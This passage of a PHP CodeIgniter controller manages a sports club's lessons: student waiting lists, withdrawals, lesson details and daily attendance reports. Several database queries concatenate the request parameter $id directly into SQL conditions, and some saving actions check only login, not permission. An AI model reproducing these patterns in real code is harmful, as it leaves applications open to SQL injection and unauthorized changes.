#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_waiting/".$id,
'title' => 'Listado de alumnos en lista de espera',
'default_orderfield' => 'lessons_assistants.id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>';
# Si hay cuota de alta, pinto el boton de pagar el alta
$info = $this->calendario->getCalendarByRange($id);
if($info->signin == 0) $alta = FALSE;
else $alta = TRUE;
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('lessons/list_waiting', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'alta' => $alta, 'menu_lateral' => NULL, 'id_transaction' => $id), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function erased ($id)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->model('lessons_model', 'lessons', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true},
{name:'user_desc',index:'user_desc', width:30, align:'center'},
{name:'user_phone',index:'user_phone', width:10, align:'center'},
{name:'unsubscription_date',index:'unsubscription_date', width:10, align:'center'},
{name:'unsubscription_reason',index:'unsubscription_reason', width:30, align:'center'}";
$colnames = "'Id', 'Nombre', 'Telefono', 'Fecha Baja', 'Motivo Baja'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_erased/".$id,
'title' => 'Listado de alumnos dados de baja',
'default_orderfield' => 'lessons_assistants.id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>';
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('lessons/list_erased', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'id_transaction' => $id), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de usuarios apuntados al curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function waiting_all ()
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'lessons_assistants.id', width:1, align:'center',hidden:true},
{name:'user_desc',index:'user_desc', width:20, align:'center'},
{name:'user_phone',index:'user_phone', width:10, align:'center'},
{name:'description',index:'lessons.description', width:20, align:'center'},
{name:'sport_desc',index:'zz_sports.description', width:8, align:'center'},
{name:'dia_semana',index:'lessons.weekday', width:8, align:'center'},
{name:'rango_fechas',index:'lessons.start_date', width:20, align:'center'},
{name:'rango_horas',index:'lessons.start_time', width:12, align:'center'},
{name:'plazas',index:'lessons.current_vacancies', width:6, align:'center'}";
$colnames = "'Id', 'Nombre', 'Telefono', 'Curso', 'Deporte', 'Dia', 'Fechas', 'Horario', 'Plazas'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_waiting/0/1",
'title' => 'Listado de alumnos en lista de espera',
'default_orderfield' => 'lessons_assistants.id',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>';
$extra_meta = '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE, 'extra' => $extra_meta), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion_ppal', '', true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('lessons/list_waiting_all', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# devuelve el listado de reportes diarios de un curso
# -------------------------------------------------------------------
# -------------------------------------------------------------------
function assistance ($id)
{
$this->load->model('redux_auth_model', 'users', TRUE);
$this->load->helper('jqgrid');
$this->load->library('calendario');
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
# Variable que habilita o no el visualizar informaciรณn de cursos
$permiso=$this->config->item('lessons_admin_permission');
if(!$permiso[$profile->group]) {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
} else {
$this->session->set_userdata('error_message', 'Acceso a zona no habilitada');
redirect(site_url(), 'Location');
exit();
}
$colmodel = " {name:'id',index:'lessons_reports.id', width:1, align:'center',hidden:true},
{name:'fecha_lesson',index:'lessons_assistance.date_lesson', width:10, align:'center'},
{name:'instructor_desc',index:'meta.first_name', width:20, align:'center'},
{name:'done',index:'lessons_assistance.done', width:4, align:'center'},
{name:'observations',index:'lessons_assistance.observations', width:20, align:'center'},
{name:'admin_check',index:'lessons_assistance.admin_check', width:4, align:'center'},
{name:'admin_obs',index:'lessons_assistance.admin_obs', width:20, align:'center'}";
$colnames = "'Id', 'Fecha', 'Profesor', 'Hecho', 'Observaciones', 'Check', 'Obs. Admin'";
#Array de datos para el grid
$para_grid = array(
'colmodel' => $colmodel,
'colnames' => $colnames,
'data_url' => "lessons/jqgrid_list_assistance/".$id,
'title' => 'Listado de partes de asistencia',
'default_orderfield' => 'lessons_assistance.date_lesson',
'default_orderway' => 'desc',
'row_numbers' => 'false',
'default_rows' => '20',
'mainwidth' => '960',
'row_list_options' => '10,20,50',
);
$grid_code = '<div style="position:relative; width: 960px; height: 600px;">'.jqgrid_creator($para_grid).'</div>';
# Comprobaciones para activar o desactivar botones
$lessons_admincheck_permission = $this->config->item('lessons_admincheck_permission');
if($lessons_admincheck_permission[$profile->group]) $admincheck = TRUE;
else $admincheck = FALSE;
$data=array(
'meta' => $this->load->view('meta', array('lib_jqgrid' => TRUE), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'navigation' => $this->load->view('navigation', '', true),
'footer' => $this->load->view('footer', '', true),
//'main_content' => $this->load->view('jqgrid/main', array('colnames' => $colnames, 'colmodel' => $colmodel), true),
'main_content' => $this->load->view('lessons/list_assistance', array('grid_code' => $grid_code, 'enable_buttons' => TRUE, 'menu_lateral' => NULL, 'admincheck' => $admincheck, 'id_transaction' => $id), true),
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
# Carga de la vista principal
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function detail($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print_r($this->session);
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
if($this->input->post('action') && $this->input->post('action')=="save") {
$debug = FALSE;
if($debug) { print("<pre>");print_r($_POST);}
//exit();
$this->lessons->id = $id;
$this->lessons->description = $this->input->post('description');
$this->lessons->active = ($this->input->post('active'))? 1 : 0;
$this->lessons->weekday = $this->input->post('weekday');
$this->lessons->start_time = $this->input->post('start_time');
$this->lessons->end_time = $this->input->post('end_time');
$this->lessons->start_date = date($this->config->item('date_db_format'), strtotime($this->input->post('start_date')));
$this->lessons->end_date = date($this->config->item('date_db_format'), strtotime($this->input->post('end_date')));
$this->lessons->id_sport = $this->input->post('id_sport');
$this->lessons->id_court = $this->input->post('id_court');
$this->lessons->signin = $this->input->post('signin');
$this->lessons->price = $this->input->post('price');
$this->lessons->id_instructor = $this->input->post('id_instructor');
$this->lessons->max_vacancies = $this->input->post('max_vacancies');
$this->lessons->monthly_payment_day = $this->input->post('monthly_payment_day');
$this->lessons->level = $this->input->post('level');
$this->lessons->gender = $this->input->post('gender');
$this->lessons->L = $this->input->post('L');
$this->lessons->M = $this->input->post('M');
$this->lessons->X = $this->input->post('X');
$this->lessons->J = $this->input->post('J');
$this->lessons->V = $this->input->post('V');
$this->lessons->S = $this->input->post('S');
$this->lessons->D = $this->input->post('D');
$dias_semana_activos = array();
if($this->lessons->L==1) array_push($dias_semana_activos, 1);
if($this->lessons->M==1) array_push($dias_semana_activos, 2);
if($this->lessons->X==1) array_push($dias_semana_activos, 3);
if($this->lessons->J==1) array_push($dias_semana_activos, 4);
if($this->lessons->V==1) array_push($dias_semana_activos, 5);
if($this->lessons->S==1) array_push($dias_semana_activos, 6);
if($this->lessons->D==1) array_push($dias_semana_activos, 0);
if($debug) print_r($dias_semana_activos);
/*
$maxima_fecha = $this->reservas->get_max_booking_date();
$fecha_actual = $this->lessons->start_date;
if($debug) echo 'weekday: '.$this->lessons->weekday."<br>";
if($debug) echo 'fecha actual: '.$fecha_actual."<br>";
if($debug) echo 'dia semana actual: '.date( 'w', strtotime($fecha_actual))."<br>";
while( !in_array(date( 'w', strtotime($fecha_actual)), $dias_semana_activos)) {
$fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +1days'));
if($debug) echo 'primera fecha cuyo dรญa de la semana coincide con lo elegido: '.$fecha_actual."<br>";
}
if($debug) echo $fecha_actual.'---------------------->';
$fecha_final = $this->lessons->end_date;
$hora_inicio = $this->lessons->start_time;
$hora_fin = $this->lessons->end_time;
$pista = $this->input->post('id_court');
if($debug) echo 'maxima fecha: '.$maxima_fecha.'<br>';
if($debug) print($hora_inicio.$hora_fin.$this->lessons->weekday."<pre>");
$valido = 1; $fecha_problematica = '';
while($fecha_actual <= $maxima_fecha && $fecha_actual <= $fecha_final && $valido == 1) {
if($debug) echo 'fecha procesada: '.$fecha_actual."<br>";
$hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_inicio));
$this->app_common->get_court_availability($pista, $fecha_actual, $id, array('block_past'=>FALSE));
while($hora_actual <= $hora_fin && $valido == 1) {
foreach($this->reservas->availability as $disp) {
if($debug) echo $disp[0].' - '.$hora_actual.' - '.$disp[1]."<br>";
if($disp[0] == $hora_actual && ($disp[1] == '0' && $disp[3] != 'l' && $disp[2] != $id)) {
$valido = 0;
$fecha_problematica = $fecha_actual;
if($debug) echo '<b>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br>asdasdasd<br></b>';
}
}
$hora_actual = date( $this->config->item('hour_db_format'), strtotime($hora_actual.' +30minutes'));
}
if($debug) print_r($this->reservas->availability);
$fecha_actual = date( $this->config->item('date_db_format'), strtotime($fecha_actual.' +7days'));
}
*/
if($debug) exit('Resultado:'.$valido);
$valido = true;
if($valido) {
if($this->lessons->updateLessons($id)) $this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
else $this->session->set_userdata('error_message', 'Error en la actualización del curso');
} else {
$this->session->set_userdata('error_message', 'Error en la actualización del curso. Alguna de las reservas necesarias (al menos para el día '.date( $this->config->item('reserve_date_filter_format'), strtotime($fecha_problematica)).') está reservada con otro motivo.');
redirect(site_url('lessons/detail/'.$id), 'Location');
exit();
}
$this->lessons->signin = $this->input->post('signin');
$this->lessons->monthly = $this->input->post('monthly');
$this->lessons->updateLessonsPricesSimple($id);
redirect(site_url('lessons/detail/'.$id), 'Location');
exit();
}
$info = $this->calendario->getCalendarByRange($id);
//echo '--'.$this->app_common->getPriceValue($info->price);
/*
if($info->signin == 0) echo 'aa';
else echo 'bb';
print_r($info);
*/
if($this->input->post('id_sport')!= '' && $info->id_sport != $this->input->post('id_sport')) $info->id_sport = $this->input->post('id_sport'); //Si llega un id_sport por POST y es diferente del guardado quiere decir que hemos cambiado de deporte y hay que darle preferencia. (se filtrarรก las pistas disponibles en base a eso)
$profesores = $this->usuario->getActiveUsersArray('', 'users.group_id IN ('.implode( ", ", $this->config->item('lessons_profesor_group')).')');
$deportes = $this->reservas->getSportsArray();
//$pistas = $this->pistas->getAvailableCourtsArray($info->id_sport,'');
$pistas = $this->pistas->getAvailableCourtsArray('','');
$niveles = $this->lessons->getLevelsArray();
$generos = $this->lessons->getGendersArray();
$tarifas = $this->app_common->getPrices('array', $this->config->item('lessons_prices_range'));
$asistentes = array();
$espera = array();
$enable_add = TRUE;
if($info->current_vacancies == 0) $enable_add = FALSE;
//print("<pre>".$this->reservas->get_max_booking_date());
//print_r($asistentes);
//print_r($info);
//print_r($profesores);
//print_r($deportes);
$div_asistentes = $this->load->view('lessons/detail_assistants', array('info' => $info, 'asistentes' => $asistentes, 'enable_add' => $enable_add), true);
$div_lista_espera = $this->load->view('lessons/detail_waiting', array('info' => $info, 'espera' => $espera, 'enable_add' => $enable_add), true);
$contenido = $this->load->view('lessons/detail', array('info' => $info, 'tarifas' => $tarifas, 'profesores' => $profesores, 'deportes' => $deportes, 'pistas' => $pistas, 'niveles' => $niveles, 'generos' => $generos, 'asistentes' => $div_asistentes, 'lista_espera' => $div_lista_espera, 'return_url' => $this->session->userdata('returnUrl')), true);
$extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>';
$extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
//'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $id), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
//'form_name' => 'frmDetail',
'main_content' => $contenido,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
//echo $this->session->userdata('returnUrl');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function new_daily_report($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$info = $this->calendario->getCalendarByRange($id, 'array');
$info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$id."' AND lessons_assistants.status < '7'"));
if($this->input->post('action') && $this->input->post('action')=="save") {
//print("<pre>");print_r($info);print_r($_POST);//exit();
$datos = array (
'id_lesson' => $info['id'],
'date_lesson' => $this->input->post('date_lesson'),
'id_instructor' => $this->input->post('id_instructor'),
'done' => $this->input->post('done'),
'observations' => $this->input->post('observations')
);
//print("<pre>");print_r($_POST);exit();
//exit($valido);
if($this->lessons->addAssistance($datos) && $this->input->post('done')=="1") {
foreach($_POST as $code => $value) {
if(strstr($code, 'user_')) {
$usuario = $value;
if($this->input->post('assistant_'.$usuario)) $hecho = 1;
else $hecho = 0;
if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios
$obs = $this->input->post('obs_'.$usuario);
$id_user = '';
$user_desc = '';
$user_phone = '';
foreach($info['assistants'] as $id => $alumno) {
if($alumno['id'] == $usuario) {
$id_user = $alumno['id_user'];
$user_desc = $alumno['user_desc'];
$user_phone = $alumno['user_phone'];
}
}
$data = array (
'id_lesson' => $info['id'],
'date_lesson' => $this->input->post('date_lesson'),
'id_user' => $id_user,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'asistance' => $hecho,
'observations' => $obs,
);
$this->lessons->addAssistanceReport($data);
}
}
$this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
} else {
if($this->input->post('done')!="1") $this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
else $this->session->set_userdata('error_message', 'Error en la actualización del curso. ');
}
redirect(site_url('lessons/assistance/'.$info['id']), 'Location');
exit();
}
/*
# Consultas para extraer la informacion del informe diario
$info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id_lesson = '".$id."'"));
print("<pre>");print_r($info_tmp);
$info = $info_tmp[0];
$info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']);
# Consultas de la definiciรณn del curso
$info = $this->calendario->getCalendarByRange($id, 'array');
$info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id']."' AND lessons_assistants.status < '7'"));
*/
//print("<pre>");print_r($info);
$fechas_disponibles = $this->lessons->get_LessonDates($info['id'], 2, 2);
$profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5');
//print("<pre>");print_r($info);//exit();
//print("<pre>");print_r($info);exit();
//print("<pre>".$this->reservas->get_max_booking_date());
//print_r($asistentes);
//print_r($info);
//print_r($profesores);
//print_r($deportes);
$contenido = $this->load->view('lessons/new_daily_report', array('info' => $info, 'fechas_disponibles' => $fechas_disponibles, 'profesores' => $profesores), true);
$extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>';
//$extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
//'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id']), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
//'form_name' => 'frmDetail',
'main_content' => $contenido,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
#
# -------------------------------------------------------------------
function detail_daily_report($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id = '".$id."'"));
$info = $info_tmp[0];
//$info = $this->calendario->getCalendarByRange($id, 'array');
$info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']);
if($this->input->post('action') && $this->input->post('action')=="save") {
//print("<pre>");print_r($info);print_r($_POST);exit();
$datos = array (
'id' => $info['id'],
'id_lesson' => $info['id_lesson'],
'date_lesson' => $info['date_lesson'],
'id_instructor' => $this->input->post('id_instructor'),
'done' => $this->input->post('done'),
'observations' => $this->input->post('observations')
);
if($this->input->post('recovered')=="1") {
$datos['done'] = $this->input->post('recovered');
$datos['recovered'] = $this->input->post('recovered');
$datos['recovered_date'] = date($this->config->item('date_db_format'), $this->input->post('recovered_date'));
$datos['recovered_obs'] = $this->input->post('recovered_obs');
} else {
$datos['recovered'] = '0';
$datos['recovered_date'] = '';
$datos['recovered_obs'] = '';
}
//print("<pre>");print_r($datos);//exit();
//exit($valido);
if($this->lessons->updateAssistance($info['id'], $datos) && $this->input->post('done')=="1") {
foreach($_POST as $code => $value) {
if(strstr($code, 'user_')) {
$usuario = $value;
if($this->input->post('assistant_'.$usuario)) $hecho = 1;
else $hecho = 0;
if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios
$obs = $this->input->post('obs_'.$usuario);
$id_user = '';
$user_desc = '';
$user_phone = '';
foreach($info['assistants'] as $id => $alumno) {
if($alumno['id'] == $usuario) {
$id_user = $alumno['id_user'];
$user_desc = $alumno['user_desc'];
$user_phone = $alumno['user_phone'];
}
}
$data = array (
'id_lesson' => $info['id_lesson'],
'date_lesson' => $info['date_lesson'],
'id_user' => $id_user,
'user_desc' => $user_desc,
'user_phone' => $user_phone,
'asistance' => $hecho,
'observations' => $obs,
);
$this->lessons->updateAssistanceReport($data);
}
}
$this->session->set_userdata('info_message', 'Información del curso actualizada correctamente');
} else {
$this->lessons->deleteAssistance($info['id_lesson'], $info['date_lesson']);
$this->session->set_userdata('error_message', 'Error en la actualización del curso. ');
}
redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location');
exit();
}
//print("<pre>");print_r($info);
//$editable = FALSE;
if(stristr($info['admin_check'], 's')) $editable = FALSE;
else $editable = TRUE;
//$recovery = FALSE;
if($info['recovered']) $editable = FALSE;
/*
# Consultas para extraer la informacion del informe diario
$info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id_lesson = '".$id."'"));
print("<pre>");print_r($info_tmp);
$info = $info_tmp[0];
$info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']);
# Consultas de la definiciรณn del curso
$info = $this->calendario->getCalendarByRange($id, 'array');
$info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id']."' AND lessons_assistants.status < '7'"));
*/
//print("<pre>");print_r($info);exit();
//print("<pre>".$this->reservas->get_max_booking_date());
//print_r($asistentes);
//print_r($info);
//print_r($deportes);
$profesores = $this->usuario->getActiveUsersArray('', 'users.group_id=5');
//print_r($profesores);
$contenido = $this->load->view('lessons/detail_daily_report', array('info' => $info, 'profesores' => $profesores, 'editable' => $editable), true);
$extra_meta = link_tag(base_url().'css/jquery.tooltip.css').'<script src="'.base_url().'js/jquery.tooltip.js" type="text/javascript"></script>';
$extra_meta .= '<script type="text/javascript" src="'.base_url().'js/jquery.meio.mask.min.js"></script>'."\r\n";
$data=array(
'meta' => $this->load->view('meta', array('enable_grid'=>FALSE, 'extra' => $extra_meta), true),
//'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in(), 'header_style' => 'cabecera_con_submenu', 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array(), true)), true),
'header' => $this->load->view('header', array('enable_menu' => $this->redux_auth->logged_in() , 'enable_submenu' => $this->load->view('lessons/submenu_navegacion', array('id' => $info['id_lesson']), true)), true),
'menu' => $this->load->view('menu', '', true),
'footer' => $this->load->view('footer', '', true),
//'form_name' => 'frmDetail',
'main_content' => $contenido,
'info_message' => $this->session->userdata('info_message'),
'error_message' => $this->session->userdata('error_message')
);
$this->session->unset_userdata('info_message');
$this->session->unset_userdata('error_message');
$this->load->view('main', $data);
}
# -------------------------------------------------------------------
# -------------------------------------------------------------------
# Pantalla para marcar un dรญa de clase como recuperado ... la que graba es detail_daily_report
# -------------------------------------------------------------------
function recover_daily_report($id)
{
$this->load->model('Lessons_model', 'lessons', TRUE);
$this->load->library('calendario');
$this->load->model('Redux_auth_model', 'usuario', TRUE);
$this->load->model('Pistas_model', 'pistas', TRUE);
$this->load->model('Reservas_model', 'reservas', TRUE);
# Defino el usuario activo, por sesion o por id, segรบn si es anรณnimo o no..
if($this->redux_auth->logged_in()) {
$profile=$this->redux_auth->profile();
$user_id=$profile->id;
$user_group=$profile->group;
} else {
redirect(site_url(), 'Location');
exit();
}
//print("<pre>");print_r($this->session->userdata('bookingInterval'));print("</pre>");
//echo $this->load->view('reservas/simple_result', array('availability' => $this->reservas->availability), true);
$info_tmp = $this->lessons->get_AssitanceData(array('where' => "lessons_assistance.id = '".$id."'"));
$info = $info_tmp[0];
if(stristr($info['done'], 's')) {
$this->session->set_userdata('error_message', 'Clase impartida. No es necesario definir una clase de recuperación.');
//exit();
redirect(site_url('lessons/assistance/'.$info['id_lesson']), 'Location');
exit();
}
//$info = $this->calendario->getCalendarByRange($id, 'array');
//$info['assistants'] = $this->lessons->get_AssitantsReport($info['id_lesson'], $info['date_lesson']);
$info['assistants'] = $this->lessons->get_AssitantsData(array('where' => "lessons_assistants.id_lesson = '".$info['id_lesson']."' AND lessons_assistants.status < '7'"));
if($this->input->post('action') && $this->input->post('action')=="save") {
/*
print("<pre>");print_r($info);print_r($_POST);
echo date($this->config->item('date_db_format'), strtotime($this->input->post('recovered_date')));
exit();
*/
$datos = array (
'id' => $info['id'],
'id_lesson' => $info['id_lesson'],
'date_lesson' => $info['date_lesson'],
'id_instructor' => $this->input->post('id_instructor'),
'done' => $this->input->post('done'),
'observations' => $this->input->post('observations')
);
if($this->input->post('recovered')=="1") {
$datos['done'] = $this->input->post('recovered');
$datos['recovered'] = $this->input->post('recovered');
$datos['recovered_date'] = date($this->config->item('date_db_format'), strtotime($this->input->post('recovered_date')));
$datos['recovered_obs'] = $this->input->post('recovered_obs');
} else {
$datos['recovered'] = '0';
$datos['recovered_date'] = '';
$datos['recovered_obs'] = '';
}
//print("<pre>");print_r($datos);//exit();
//exit($valido);
if($this->lessons->updateAssistance($info['id'], $datos)) {
#reseteo valores de los alumnos para ese dia
$this->lessons->deleteAssistanceReport($info['id_lesson'], $info['date_lesson']);
foreach($_POST as $code => $value) {
if(strstr($code, 'user_')) {
$usuario = $value;
if($this->input->post('assistant_'.$usuario)) $hecho = 1;
else $hecho = 0;
if($this->input->post('done')=='') $hecho = 0; // Si la clase no se da.. se sobreescriben los checkbox de usuarios
$obs = $this->input->post('obs_'.$usuario);
$id_user = '';
$user_desc = '';
$user_phone = '';
foreach($info['assistants'] as $id => $alumno) {
if($alumno['id'] == $usuario) {
